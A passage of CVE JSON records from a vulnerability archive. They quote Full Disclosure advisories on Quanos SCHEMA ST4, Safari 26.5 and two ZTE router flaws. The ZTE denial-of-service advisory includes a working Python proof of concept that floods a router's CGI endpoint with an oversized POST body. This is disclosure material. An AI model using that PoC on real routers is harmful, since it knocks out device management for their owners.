on the feedback.\n            Vendor submits feedback in the evening.\n2026-06-16: Responding to feedback, adjusted advisory.\n2026-06-17: Public release of security advisory.\n\n\nSolution:\n---------\nThe vendor does not provide a patch but a workaround which requires\ntheir customers to disable the \"Client Update Service\". Updating the client\nis then only possible with a privileged user account.\n\nThe vendor provided the following statement:\n\"Quanos confirms that exploitation requires local host access with an\nauthenticated user session. In properly managed environments following the\nLeast Privilege principle, the attack surface is significantly reduced.\nQuanos Cloud/SaaS deployments are not affected. Quanos considers the\nmigration to the Cloud/SaaS architecture the strategic long-term solution.\"\n\n\nWorkaround:\n-----------\nDisable the \"Client-Updateservice\" until a fix is provided.\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF J. Kruchem / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:31:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/20"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://github.com/tyranid/ExploitRemotingService"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://quanos.com/"
        },
        {
          "url": "https://quanos.com/en/products/schema-st4/"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260617-1 :: Multiple Vulnerabilities in Quanos Content Solutions - SCHEMA ST4",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-11857",
              "type": "related"
            },
            {
              "destId": "CVE-2026-11858",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0369",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/20",
            "automated": true,
            "contentSha256": "ea5956e54077d750b908be7c84ab2859939c89d63375abf670487dd7fbbd170b",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-17T11:31:26Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0369"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:31:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0369"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Safari",
          "vendor": "Apple",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-05-13-2026-1 Safari 26.5\n\nSafari 26.5 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/127121.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: A validation issue was addressed with improved logic.\nWebKit Bugzilla: 308906\nCVE-2026-43660: Cantina\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 308675\nCVE-2026-28907: Cantina\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: This issue was addressed with improved access restrictions.\nWebKit Bugzilla: 309698\nCVE-2026-28962: Luke Francis, Vaagn Vardanian, kwak kiyong / kakaogames,\nVitaly Simonovich, Adel Bouachraoui, greenbynox\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 307669\nCVE-2026-43658: Do Young Park\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 308545\nCVE-2026-28905: Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang\nWebKit Bugzilla: 308707\nCVE-2026-28847: DARKNAVY (@DarkNavyOrg), Anonymous working with TrendAI\nZero Day Initiative, Daniel Rhea\nWebKit Bugzilla: 309601\nCVE-2026-28904: Luka Ra\u010dki\nWebKit Bugzilla: 310880\nCVE-2026-28955: wac and Kookhwan Lee working with TrendAI Zero Day\nInitiative\nWebKit Bugzilla: 310303\nCVE-2026-28903: Mateusz Krzywicki (iVerify.io)\nWebKit Bugzilla: 309628\nCVE-2026-28953: Maher Azzouzi\nWebKit Bugzilla: 309861\nCVE-2026-28902: Tristan Madani (@TristanInSec) from Talence Security,\nNathaniel Oh (@calysteon)\nWebKit Bugzilla: 310207\nCVE-2026-28901: Aisle offensive security research team (Joshua Rogers,\nLuigino Camastra, Igor Morgenstern, and Guido Vranken), Maher Azzouzi,\nNgan Nguyen of Calif.io\nWebKit Bugzilla: 311631\nCVE-2026-28913: an anonymous researcher\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313939\nCVE-2026-28883: kwak kiyong / kakaogames\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: An app may be able to access sensitive user data\nDescription: This issue was addressed with improved data protection.\nWebKit Bugzilla: 311228\nCVE-2026-28958: Cantina\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 310527\nCVE-2026-28917: Vitaly Simonovich\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 310234\nCVE-2026-28947: dr3dd\nWebKit Bugzilla: 310544\nCVE-2026-28946: Gia Bui (@yabeow) from Calif.io, dr3dd, w0wbox\nWebKit Bugzilla: 312180\nCVE-2026-28942: Milad Nasr and Nicholas Carlini with Claude, Anthropic\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious iframe may use another website\u2019s download settings\nDescription: The issue was addressed with improved UI handling.\nCVE-2026-28971: Khiem Tran\nWebKit Bugzilla: 311288\n\nWebRTC\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 311131\nCVE-2026-28944: Kenneth Hsu of Palo Alto Networks, J\u00e9r\u00f4me DJOUDER, dr3dd\n\nAdditional recognition\n\nSafari\nWe would like to acknowledge sean mutuku for their assistance.\n\nSafari Push Notifications\nWe would like to acknowledge Robert Mindo for their assistance.\n\nWebKit\nWe would like to acknowledge Muhammad Zaid Ghifari (Mr.ZheeV),\nKalimantan Utara, Qadhafy Muhammad Tera, Vitaly Simonovich for their\nassistance.\n\nWebRTC\nWe would like to acknowledge Hyeonji Son (@jir4vv1t) of Demon Team for\ntheir assistance.\n\nSafari 26.5 may be obtained from the Mac App Store.\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmoE52oACgkQ4Ifiq8DH\n7PV9tw/8C759AP/3NbUY9aGa7CjwMsAcI+/Y3Gt1NpNpOiTqBO9fVzFR5rzkPELk\nTGhNZ8fbGOMZji8i7tizeEbHzdZXaaVAvmBdFlhx8mmBtOMi1f8vFUQh+FeWiMDn\n1BhlLMF2VigV8FcoyFiYIkcfaNYFnd3/QpDzQ4M0W7Wb/+xztzvqkgcTxQrhsNkN\nWfxUkSzsZlcv6XOb/P9KqAr66Y1NRhVNeYFuEd3rcJYnL6nap4p0HlwgGmyU1Grs\nPW0hOBmWo2HSFWOxOQ2akMtkOqpCiSjcI3FPwlMAagyhjieaZXT5/HrfCs0SelI2\nkJVGpDiySNYxtKPbHYvDwjhVBRv2NaX6LFaNqVm20CaaFQGdF5sRGgTBJC7LtfCs\n1PKnLcv2ov+isEYPEUsWjIWemFEi8nO+p9NkpqY6rMoOWbGKsi2IELbC5QNjgKVA\n8/LEsQXW2Qf0RKQqlWk35Zv7ZWD2+ezjP/jNHYHvZJAN0IHR7HZOqfCm+V8uGndx\n8iQDQ3R38mcsIUOYIMjuVP1PfVnMqyFSAVFkE/qtyTUk5TqsO4vdsQ/MKoxNXoW+\nlHZT2q7ijQBGSteuax6XhH2r7hGxAXMols59EaJM3LZecDiqvOUloPC40hCItxEL\n0VO4Cjuoz0UR2n4oafNs+AldAyuNnhlWEpYhgKbzkuySObOQ6TE=\n=5v8r\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:28:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/16"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/en-us/127121"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-05-13-2026-1 Safari 26.5",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-28847",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28883",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28901",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28902",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28903",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28904",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28905",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28907",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28913",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28917",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28942",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28944",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28946",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28947",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28953",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28955",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28958",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28962",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28971",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43658",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43660",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0367",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/16",
            "automated": true,
            "contentSha256": "284818841648cbd52b15b9b3cc23c072a07f159b9afa1bd6427c0b564951697f",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-13T21:39:47Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0367"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:28:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0367"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "m.nageh"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN SECURITY ADVISORY-----\n\nAdvisory ID:    MONX-2021-001\nCVE ID:         CVE-2021-21735\nTitle:          ZTE ZXHN H168N V3.5 - Unauthenticated Wizard Credential\nDisclosure to Full Admin Compromise\nAffected:       ZTE ZXHN H168N V3.5\nDate:           2026-05-20\nAuthor:         Mina Nageh Salalma (Monx Research)\nContact:        minanageh379 () gmail com\nPublic URL:\nhttps://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise\nMITRE:          https://www.cve.org/CVERecord?id=CVE-2021-21735\n\n\nVULNERABILITY DESCRIPTION\n--------------------------\nThe ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that\nreturn PPPoE credentials (ADUsername, VDUsername) and the WLAN KeyPassphrase\nvia the GetPassword action without requiring authentication. The firmware\nrouting allowlists these endpoints through a QuickSetupEnable branch.\n\nIn ISP-deployed configurations where the Wi-Fi password is reused as the\ndefault admin password, this credential disclosure is a full admin\ncompromise\nchain requiring a single unauthenticated HTTP request.\n\nA bulk PoC script (zte_zxhn_h168n_bulk_poc.py) is included in the repository\nfor verifying scale of exposure.\n\nCREDITS\n-------\nMina Nageh Salalma (Monx Research)\nhttps://github.com/minanagehsalalma\n\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/21"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/21"
        },
        {
          "url": "https://github.com/minanagehsalalma"
        },
        {
          "url": "https://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-21735"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/21"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SECURITY ADVISORY] CVE-2021-21735 - ZTE ZXHN H168N V3.5 Unauthenticated Admin Credential Leak",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2021-21735",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0373",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/21",
            "automated": true,
            "contentSha256": "d2f8f5a013e08bcb4b6b6a60a012c74c16d028380aa5efa7266932a9a7661620",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/21",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-20T14:33:37Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0373"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0373"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "m.nageh"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN SECURITY ADVISORY-----\n\nAdvisory ID:    MONX-2026-001\nCVE ID:         CVE-2026-34473\nTitle:          Unauthenticated Denial of Service via Oversized POST Body\nin ZTE Router CGILua Parser\nAffected:       17+ ZTE ZXHN router models (~140,000 publicly exposed\ndevices)\nCVSS Score:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\nDate:           2026-05-20\nAuthor:         Mina Nageh Salalma (Monx Research)\nContact:        minanageh379 () gmail com\nPublic URL:\nhttps://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers\nMITRE:          https://www.cve.org/CVERecord?id=CVE-2026-34473\n\n\nAFFECTED PRODUCTS\n-----------------\n17+ ZTE ZXHN router models sharing the CGILua firmware stack.\nEstimated 140,000+ devices publicly reachable on the Internet at time of\nresearch.\n\n\nVULNERABILITY DESCRIPTION\n--------------------------\nThe CGILua post.lua parser used in ZTE ZXHN routers does not enforce an\nupper\nbound on the body size of application/x-www-form-urlencoded POST requests.\nAn unauthenticated attacker can crash or freeze the router\u0027s web management\nservice by sending a single HTTP POST request with an oversized body to any\nCGI endpoint. No authentication, session cookie, or prior access is\nrequired.\n\n\nROOT CAUSE\n----------\nFirmware analysis of extracted squashfs images confirms that post.lua reads\nthe entire POST body into memory before parsing. There is no Content-Length\ncheck or body-size limiter before the allocation occurs. Oversized payloads\ncause the LuCI/CGILua process to exhaust memory or fault, taking down the\nweb management interface until the device is power-cycled.\n\n\nPROOF OF CONCEPT\n----------------\n  import requests\n  url = \"http://TARGET_IP/cgi-bin/luci\";\n  payload = \"a=\" + \"A\" * (256 * 1024)  # 256 KB\n  headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n  try:\n      r = requests.post(url, data=payload, headers=headers, timeout=15)\n      print(f\"HTTP {r.status_code}\")\n  except requests.exceptions.Timeout:\n      print(\"Timeout - DoS successful\")\n  except requests.exceptions.ConnectionError:\n      print(\"Connection dropped - DoS successful\")\n\n\nIMPACT\n------\nAn unauthenticated attacker on the LAN or WAN (if management interface is\npublicly exposed, as is the case for ~140,000 devices) can permanently\ndisable remote management access, forcing a physical reboot to restore\naccess.\nISP-deployed devices with no physical access for end users are especially\nvulnerable.\n\n\nTIMELINE\n--------\n2024-05:   Local validation on hardware. Firmware extraction and root-cause\nconfirmed.\n2024-05:   Report sent to ZTE PSIRT.\n2025-01:   Escalated to MITRE after ZTE failed to respond.\n2026-03:   MITRE assigned CVE-2026-34473.\n2026-05-20: Full public disclosure.\n\n\nVENDOR RESPONSE\n---------------\nZTE PSIRT did not respond to the initial report. MITRE assigned the CVE\ndirectly. No patch has been issued.\n\n\nCREDITS\n-------\nMina Nageh Salalma (Monx Research)\nhttps://github.com/minanagehsalalma\n\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/18"
        },
        {
          "url": "http://TARGET_IP/cgi-bin/luci\""
        },
        {
          "url": "https://github.com/minanagehsalalma"
        },
        {
          "url": "https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34473"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SECURITY ADVISORY] CVE-2026-34473 - Unauthenticated DoS in 17+ ZTE Router Models (140K+ Devices)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-34473",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0370",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/18",
            "automated": true,
            "contentSha256": "0bde7d633167526f5023053fdf061290e62adf3538e7a3b5481b6619dd73efb0",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-20T14:31:38Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0370"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0370"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}